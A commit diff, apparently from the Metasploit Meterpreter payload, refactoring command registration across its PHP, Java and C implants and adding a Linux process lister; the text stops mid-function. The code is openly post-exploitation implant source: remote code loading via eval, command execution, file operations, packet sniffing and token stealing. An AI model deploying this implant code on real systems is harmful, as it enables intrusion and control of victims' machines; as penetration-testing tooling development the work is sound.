commit
fe7928c18d
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -283,6 +283,7 @@ function cononicalize_path($path) {
|
|||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
register_command('stdapi_fs_file_expand_path');
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -320,18 +321,8 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = mkdir(cononicalize_path($path_tlv['value']),0777);
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_delete_dir')) {
|
||||
register_command('stdapi_fs_delete_dir');
|
||||
function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
my_print("doing rmdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -340,9 +331,19 @@ function stdapi_fs_delete_dir($req, &$pkt) {
|
|||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
register_command('stdapi_fs_mkdir');
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @mkdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_chdir')) {
|
||||
register_command('stdapi_fs_chdir');
|
||||
function stdapi_fs_chdir($req, &$pkt) {
|
||||
my_print("doing chdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -353,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete')) {
|
||||
register_command('stdapi_fs_delete');
|
||||
function stdapi_fs_delete($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
|
@ -363,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_getwd')) {
|
||||
register_command('stdapi_fs_getwd');
|
||||
function stdapi_fs_getwd($req, &$pkt) {
|
||||
my_print("doing pwd");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
|
||||
|
@ -373,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
|
|||
# works partially, need to get the path argument to mean the same thing as in
|
||||
# windows
|
||||
if (!function_exists('stdapi_fs_ls')) {
|
||||
register_command('stdapi_fs_ls');
|
||||
function stdapi_fs_ls($req, &$pkt) {
|
||||
my_print("doing ls");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
@ -413,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_separator')) {
|
||||
register_command('stdapi_fs_separator');
|
||||
function stdapi_fs_separator($req, &$pkt) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -420,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_stat')) {
|
||||
register_command('stdapi_fs_stat');
|
||||
function stdapi_fs_stat($req, &$pkt) {
|
||||
my_print("doing stat");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -452,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete_file')) {
|
||||
register_command('stdapi_fs_delete_file');
|
||||
function stdapi_fs_delete_file($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
|
@ -467,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
register_command('stdapi_fs_search');
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
|
||||
|
@ -506,6 +514,7 @@ function stdapi_fs_search($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_fs_md5')) {
|
||||
register_command("stdapi_fs_md5");
|
||||
function stdapi_fs_md5($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
@ -524,6 +533,7 @@ function stdapi_fs_md5($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_fs_sha1')) {
|
||||
register_command("stdapi_fs_sha1");
|
||||
function stdapi_fs_sha1($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
@ -545,6 +555,7 @@ function stdapi_fs_sha1($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_getuid')) {
|
||||
register_command('stdapi_sys_config_getuid');
|
||||
function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
my_print("doing getuid");
|
||||
if (is_callable('posix_getuid')) {
|
||||
|
@ -563,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
|||
}
|
||||
|
||||
# Unimplemented becuase it's unimplementable
|
||||
if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
my_print("doing rev2self");
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
#register_command('stdapi_sys_config_rev2self');
|
||||
#function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
# my_print("doing rev2self");
|
||||
# return ERROR_FAILURE;
|
||||
#}
|
||||
#}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_sysinfo')) {
|
||||
register_command('stdapi_sys_config_sysinfo');
|
||||
function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
my_print("doing sysinfo");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
|
||||
|
@ -584,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
|||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
register_command('stdapi_sys_process_execute');
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map, $processes;
|
||||
|
||||
|
@ -658,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
register_command('stdapi_sys_process_close');
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
|
@ -711,6 +726,7 @@ function close_process($proc) {
|
|||
# to decide what options to send to ps for portability and for information
|
||||
# usefulness.
|
||||
if (!function_exists('stdapi_sys_process_get_processes')) {
|
||||
register_command('stdapi_sys_process_get_processes');
|
||||
function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
my_print("doing get_processes");
|
||||
$list = array();
|
||||
|
@ -760,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
|||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_process_getpid')) {
|
||||
register_command('stdapi_sys_process_getpid');
|
||||
function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
my_print("doing getpid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
|
||||
|
@ -768,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_process_kill')) {
|
||||
register_command('stdapi_sys_process_kill');
|
||||
function stdapi_sys_process_kill($req, &$pkt) {
|
||||
# The existence of posix_kill is unlikely (it's a php compile-time option
|
||||
# that isn't enabled by default, but better to try it and avoid shelling
|
||||
|
@ -798,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
register_command('stdapi_net_socket_tcp_shutdown');
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
|
@ -838,6 +857,9 @@ function deregister_registry_key($id) {
|
|||
|
||||
|
||||
if (!function_exists('stdapi_registry_create_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_create_key');
|
||||
}
|
||||
function stdapi_registry_create_key($req, &$pkt) {
|
||||
my_print("doing stdapi_registry_create_key");
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
|
@ -871,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_close_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_close_key');
|
||||
}
|
||||
function stdapi_registry_close_key($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
@ -889,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_query_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_query_value');
|
||||
}
|
||||
function stdapi_registry_query_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
@ -926,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
|
|||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_set_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_set_value');
|
||||
}
|
||||
function stdapi_registry_set_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
|
|||
$GLOBALS['readers'] = array();
|
||||
}
|
||||
|
||||
# global list of extension commands
|
||||
if (!isset($GLOBALS['commands'])) {
|
||||
$GLOBALS['commands'] = array("core_loadlib");
|
||||
}
|
||||
|
||||
function register_command($c) {
|
||||
global $commands;
|
||||
if (! in_array($c, $commands)) {
|
||||
array_push($commands, $c);
|
||||
}
|
||||
}
|
||||
|
||||
function my_print($str) {
|
||||
#error_log($str);
|
||||
}
|
||||
|
@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
|
|||
# isn't compressed before eval'ing it
|
||||
# TODO: check for zlib support and decompress if possible
|
||||
function core_loadlib($req, &$pkt) {
|
||||
global $commands;
|
||||
my_print("doing core_loadlib");
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
$tmp = $commands;
|
||||
eval($data_tlv['value']);
|
||||
$new = array_diff($commands, $tmp);
|
||||
foreach ($new as $meth) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -2,6 +2,7 @@ package com.metasploit.meterpreter;
|
|||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Vector;
|
||||
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
|
||||
|
@ -16,6 +17,7 @@ public class CommandManager {
|
|||
|
||||
private final int javaVersion;
|
||||
private Map/* <String,Command> */registeredCommands = new HashMap();
|
||||
private Vector/* <String> */newCommands = new Vector();
|
||||
|
||||
protected CommandManager() throws Exception {
|
||||
// get the API version, which might be different from the
|
||||
|
@ -97,6 +99,7 @@ public class CommandManager {
|
|||
}
|
||||
Command cmd = (Command) commandClass.newInstance();
|
||||
registeredCommands.put(command, cmd);
|
||||
newCommands.add(command);
|
||||
}
|
||||
|
||||
/**
|
||||
|
@ -108,4 +111,18 @@ public class CommandManager {
|
|||
cmd = NotYetImplementedCommand.INSTANCE;
|
||||
return cmd;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public void resetNewCommands() {
|
||||
newCommands.clear();
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves the list of commands loaded by the last core_loadlib call
|
||||
*/
|
||||
public String[] getNewCommands() {
|
||||
return (String[]) newCommands.toArray(new String[newCommands.size()]);
|
||||
}
|
||||
}
|
||||
|
|
|
@ -322,7 +322,7 @@ public class Meterpreter {
|
|||
* @param data
|
||||
* The extension jar's content as a byte array
|
||||
*/
|
||||
public void loadExtension(byte[] data) throws Exception {
|
||||
public String[] loadExtension(byte[] data) throws Exception {
|
||||
ClassLoader classLoader = getClass().getClassLoader();
|
||||
if (loadExtensions) {
|
||||
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
|
||||
|
@ -331,6 +331,8 @@ public class Meterpreter {
|
|||
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
|
||||
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
|
||||
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
|
||||
commandManager.resetNewCommands();
|
||||
loader.load(commandManager);
|
||||
return commandManager.getNewCommands();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -9,7 +9,11 @@ public class core_loadlib implements Command {
|
|||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
byte[] data = request.getRawValue(TLVType.TLV_TYPE_DATA);
|
||||
meterpreter.loadExtension(data);
|
||||
String[] commands = meterpreter.loadExtension(data);
|
||||
for (int i = 0; i < commands.length; i++) {
|
||||
response.addOverflow(TLVType.TLV_TYPE_METHOD, commands[i]);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -116,7 +116,7 @@ Command commands[] =
|
|||
};
|
||||
|
||||
// Dynamically registered command extensions
|
||||
Command *extensionList = NULL;
|
||||
Command *extension_commands = NULL;
|
||||
|
||||
/*
|
||||
* Dynamically register a custom command handler
|
||||
|
@ -133,13 +133,13 @@ DWORD command_register(Command *command)
|
|||
memcpy(newCommand, command, sizeof(Command));
|
||||
|
||||
dprintf("Setting new command...");
|
||||
if (extensionList)
|
||||
extensionList->prev = newCommand;
|
||||
if (extension_commands)
|
||||
extension_commands->prev = newCommand;
|
||||
|
||||
dprintf("Fixing next/prev...");
|
||||
newCommand->next = extensionList;
|
||||
newCommand->next = extension_commands;
|
||||
newCommand->prev = NULL;
|
||||
extensionList = newCommand;
|
||||
extension_commands = newCommand;
|
||||
|
||||
dprintf("Done...");
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -154,7 +154,7 @@ DWORD command_deregister(Command *command)
|
|||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extensionList, prev = NULL;
|
||||
for (current = extension_commands, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
|
@ -164,7 +164,7 @@ DWORD command_deregister(Command *command)
|
|||
if (prev)
|
||||
prev->next = current->next;
|
||||
else
|
||||
extensionList = current->next;
|
||||
extension_commands = current->next;
|
||||
|
||||
if (current->next)
|
||||
current->next->prev = prev;
|
||||
|
@ -288,7 +288,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
|||
}
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extensionList, result = ERROR_NOT_FOUND ;
|
||||
for( current = extension_commands, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
|
@ -373,7 +373,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
|||
|
||||
// Regardless of error code, try to see if someone has overriden
|
||||
// a base handler
|
||||
for (current = extensionList, res = ERROR_NOT_FOUND;
|
||||
for (current = extension_commands, res = ERROR_NOT_FOUND;
|
||||
res == ERROR_NOT_FOUND && current && current->method;
|
||||
current = current->next)
|
||||
{
|
||||
|
|
|
@ -599,6 +599,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
result = hErr;
|
||||
break;
|
||||
}
|
||||
j->capture_linktype = 1; // LINKTYPE_ETHERNET forced on windows
|
||||
#else
|
||||
name = get_interface_name_by_index(ifh);
|
||||
|
||||
|
@ -612,6 +613,9 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
result = EACCES;
|
||||
break;
|
||||
}
|
||||
j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
|
||||
if (-1 == j->capture_linktype)
|
||||
j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error
|
||||
|
||||
if(packet_filter) {
|
||||
struct bpf_program bpf;
|
||||
|
@ -1019,6 +1023,8 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) {
|
|||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_PACKET_COUNT, pcnt);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, rcnt);
|
||||
// add capture datalink, needed when saving capture file, use TLV_TYPE_SNIFFER_INTERFACE_ID not to create a new TLV type
|
||||
packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_INTERFACE_ID, j->capture_linktype);
|
||||
|
||||
dprintf("sniffer>> finished processing packets");
|
||||
|
||||
|
|
|
@ -35,6 +35,7 @@ typedef struct capturejob
|
|||
unsigned char *dbuf;
|
||||
unsigned int dlen;
|
||||
unsigned int didx;
|
||||
int capture_linktype; //current capture link type that we want to save, ie. LINKTYPE_ETHERNET
|
||||
#ifndef _WIN32
|
||||
THREAD *thread;
|
||||
pcap_t *pcap;
|
||||
|
|
|
@ -314,9 +314,9 @@ int get_interfaces_linux(Remote *remote, Packet *response) {
|
|||
tlv_cnt++;
|
||||
|
||||
for (j = 0; j < ifaces->ifaces[i].addr_count; j++) {
|
||||
if (allocd_entries < tlv_cnt+3) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+3));
|
||||
allocd_entries += 3;
|
||||
if (allocd_entries < tlv_cnt+2) {
|
||||
entries = realloc(entries, sizeof(Tlv) * (tlv_cnt+2));
|
||||
allocd_entries += 2;
|
||||
}
|
||||
if (ifaces->ifaces[i].addr_list[j].family == AF_INET) {
|
||||
dprintf("ip addr for %s", ifaces->ifaces[i].name);
|
||||
|
|
|
@ -296,6 +296,7 @@ Command customCommands[] =
|
|||
{ request_sys_config_getprivs, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#ifdef _WIN32
|
||||
{ "stdapi_sys_config_steal_token",
|
||||
{ request_sys_config_steal_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
|
@ -304,6 +305,7 @@ Command customCommands[] =
|
|||
{ request_sys_config_drop_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
#endif
|
||||
|
||||
|
||||
// Net
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
#include "precomp.h"
|
||||
#include "ps.h" // include the code for listing proceses
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "ps.h" // include the code for listing proceses
|
||||
#include "./../session.h"
|
||||
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
||||
|
||||
|
@ -859,8 +859,10 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
|
|||
#else
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
Packet * response = packet_create_response( packet );
|
||||
|
||||
packet_transmit_response( result, remote, response );
|
||||
if (response) {
|
||||
result = ps_list_linux( response );
|
||||
packet_transmit_response( result, remote, response );
|
||||
}
|
||||
#endif
|
||||
|
||||
return result;
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
#include "precomp.h"
|
||||
#include "ps.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "./../session.h"
|
||||
#include "./../../../../../common/arch/win/i386/base_inject.h"
|
||||
|
||||
|
@ -394,64 +397,7 @@ BOOL ps_getusername( DWORD pid, char * cpUserName, DWORD dwUserNameSize )
|
|||
return success;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add the details of a process to the response.
|
||||
*/
|
||||
VOID ps_addresult( Packet * response, DWORD dwPid, DWORD dwParentPid, char * cpExeName, char * cpExePath, char * cpUserName, DWORD dwProcessArch )
|
||||
{
|
||||
Tlv entries[7] = {0};
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !response )
|
||||
break;
|
||||
|
||||
dwSessionId = session_id( dwPid );
|
||||
|
||||
dwPid = htonl( dwPid );
|
||||
entries[0].header.type = TLV_TYPE_PID;
|
||||
entries[0].header.length = sizeof( DWORD );
|
||||
entries[0].buffer = (PUCHAR)&dwPid;
|
||||
|
||||
if( !cpExeName )
|
||||
cpExeName = "";
|
||||
entries[1].header.type = TLV_TYPE_PROCESS_NAME;
|
||||
entries[1].header.length = (DWORD)strlen( cpExeName ) + 1;
|
||||
entries[1].buffer = cpExeName;
|
||||
|
||||
if( !cpExePath )
|
||||
cpExePath = "";
|
||||
entries[2].header.type = TLV_TYPE_PROCESS_PATH;
|
||||
entries[2].header.length = (DWORD)strlen( cpExePath ) + 1;
|
||||
entries[2].buffer = cpExePath;
|
||||
|
||||
if( !cpUserName )
|
||||
cpUserName = "";
|
||||
entries[3].header.type = TLV_TYPE_USER_NAME;
|
||||
entries[3].header.length = (DWORD)strlen( cpUserName ) + 1;
|
||||
entries[3].buffer = cpUserName;
|
||||
|
||||
dwProcessArch = htonl( dwProcessArch );
|
||||
entries[4].header.type = TLV_TYPE_PROCESS_ARCH;
|
||||
entries[4].header.length = sizeof( DWORD );
|
||||
entries[4].buffer = (PUCHAR)&dwProcessArch;
|
||||
|
||||
dwParentPid = htonl( dwParentPid );
|
||||
entries[5].header.type = TLV_TYPE_PARENT_PID;
|
||||
entries[5].header.length = sizeof( DWORD );
|
||||
entries[5].buffer = (PUCHAR)&dwParentPid;
|
||||
|
||||
dwSessionId = htonl( dwSessionId );
|
||||
entries[6].header.type = TLV_TYPE_PROCESS_SESSION;
|
||||
entries[6].header.length = sizeof( DWORD );
|
||||
entries[6].buffer = (PUCHAR)&dwSessionId;
|
||||
|
||||
packet_add_tlv_group( response, TLV_TYPE_PROCESS_GROUP, entries, 7 );
|
||||
|
||||
} while(0);
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
* Generate a process list via the kernel32!CreateToolhelp32Snapshot method. Works on Windows 2000 and above.
|
||||
|
@ -632,3 +578,336 @@ DWORD ps_list_via_brute( Packet * response )
|
|||
|
||||
return result;
|
||||
}
|
||||
|
||||
#else // linux part
|
||||
|
||||
/*
|
||||
* linux specific ps command and structures
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
#include <sys/types.h>
|
||||
#include <dirent.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#define NAME "Name:\t"
|
||||
#define STATE "State:\t"
|
||||
#define UID "Uid:\t"
|
||||
#define PPID "PPid:\t"
|
||||
|
||||
struct info_process {
|
||||
char name[60];
|
||||
char state[2];
|
||||
int uid;
|
||||
int ppid;
|
||||
};
|
||||
|
||||
struct info_user {
|
||||
char name[40];
|
||||
int uid;
|
||||
};
|
||||
|
||||
struct info_user_list {
|
||||
int count_max;
|
||||
int count_current;
|
||||
struct info_user * list;
|
||||
};
|
||||
|
||||
int read_file(FILE * fd, char * buffer, int buffer_len) {
|
||||
int read = 0;
|
||||
while (!feof(fd) && !ferror(fd) && read < buffer_len - 1)
|
||||
read += fread(buffer+read, 1, 1024, fd);
|
||||
|
||||
buffer[read] = 0;
|
||||
return read;
|
||||
|
||||
}
|
||||
|
||||
void parse_status(char * buffer, struct info_process * info) {
|
||||
char * str;
|
||||
str = strtok(buffer, "\n");
|
||||
|
||||
|
||||
memset(info, 0, sizeof(*info));
|
||||
|
||||
while (str != NULL) {
|
||||
if ( strncmp(str, NAME, strlen(NAME)) == 0 )
|
||||
strncpy(info->name, str+strlen(NAME), sizeof(info->name)-1);
|
||||
|
||||
if ( strncmp(str, STATE, strlen(STATE)) == 0 ) {
|
||||
strncpy(info->state, str+strlen(STATE), 1); // want only 1 char
|
||||
}
|
||||
|
||||
if ( strncmp(str, UID, strlen(UID)) == 0 )
|
||||
info->uid = atoi(str+strlen(UID));
|
||||
|
||||
if ( strncmp(str, PPID, strlen(PPID)) == 0 )
|
||||
info->ppid = atoi(str+strlen(PPID));
|
||||
|
||||
str = strtok(NULL, "\n");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void add_user_to_list(struct info_user_list * user_list, char * username, int uid) {
|
||||
if(user_list->count_max <= user_list->count_current) {
|
||||
user_list->list = realloc(user_list->list, sizeof(struct info_user) * (user_list->count_current+3));
|
||||
user_list->count_max = user_list->count_current+3;
|
||||
}
|
||||
memset(&user_list->list[user_list->count_current], 0, sizeof(struct info_user));
|
||||
strncpy(user_list->list[user_list->count_current].name, username, sizeof(user_list->list[user_list->count_current].name) - 1);
|
||||
user_list->list[user_list->count_current].uid = uid;
|
||||
|
||||
user_list->count_current++;
|
||||
return;
|
||||
}
|
||||
|
||||
// parse password to get username/uid association
|
||||
int parse_passwd_file(char * passwd_filename, struct info_user_list ** user_list) {
|
||||
FILE * fd;
|
||||
struct info_user_list * tmp;
|
||||
char buffer[2048];
|
||||
char tmp_username[40];
|
||||
char * str;
|
||||
int tmp_uid;
|
||||
|
||||
fd = fopen(passwd_filename, "r");
|
||||
if (!fd)
|
||||
return -1;
|
||||
|
||||
tmp = (struct info_user_list *)malloc(sizeof(struct info_user_list));
|
||||
if (!tmp)
|
||||
return -1;
|
||||
|
||||
// allocate some space for 10 users
|
||||
tmp->list = (struct info_user *)malloc(sizeof(struct info_user) * 10);
|
||||
if (!tmp->list) {
|
||||
free(tmp);
|
||||
return -1;
|
||||
}
|
||||
tmp->count_max = 10;
|
||||
tmp->count_current = 0;
|
||||
|
||||
while(!feof(fd) && !ferror(fd)) {
|
||||
// read 1 line at a time
|
||||
if (fgets(buffer, sizeof(buffer)-1, fd) != NULL) {
|
||||
str = strtok(buffer, ":");
|
||||
if (str) {
|
||||
// first member before : is username
|
||||
memset(tmp_username, 0, sizeof(tmp_username));
|
||||
strncpy(tmp_username, str, sizeof(tmp_username)-1);
|
||||
str = strtok(NULL, ":");
|
||||
if(!str) // bad line, doesn't contain more than 1 time ":"
|
||||
continue;
|
||||
str = strtok(NULL, ":");
|
||||
if(!str) // bad line, doesn't contain more than 2 times ":"
|
||||
continue;
|
||||
// str points to uid
|
||||
tmp_uid = atoi(str);
|
||||
add_user_to_list(tmp, tmp_username, tmp_uid);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
*user_list = tmp;
|
||||
fclose(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void uid_to_username(struct info_user_list * user_list, int uid, char * username, int username_buffer_length) {
|
||||
int i;
|
||||
|
||||
memset(username, 0, username_buffer_length);
|
||||
for (i=0; i<user_list->count_current; i++) {
|
||||
if (user_list->list[i].uid == uid) {
|
||||
strncpy(username, user_list->list[i].name, username_buffer_length-1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
// fallback if we didn't find the username
|
||||
snprintf(username, username_buffer_length-1, "%d", uid);
|
||||
return ;
|
||||
}
|
||||
|
||||
/*
|
||||
* Generate a process list by parsing /proc/<pid> directories
|
||||
* linux specific
|
||||
*/
|
||||
DWORD ps_list_linux( Packet * response )
|
||||
{
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
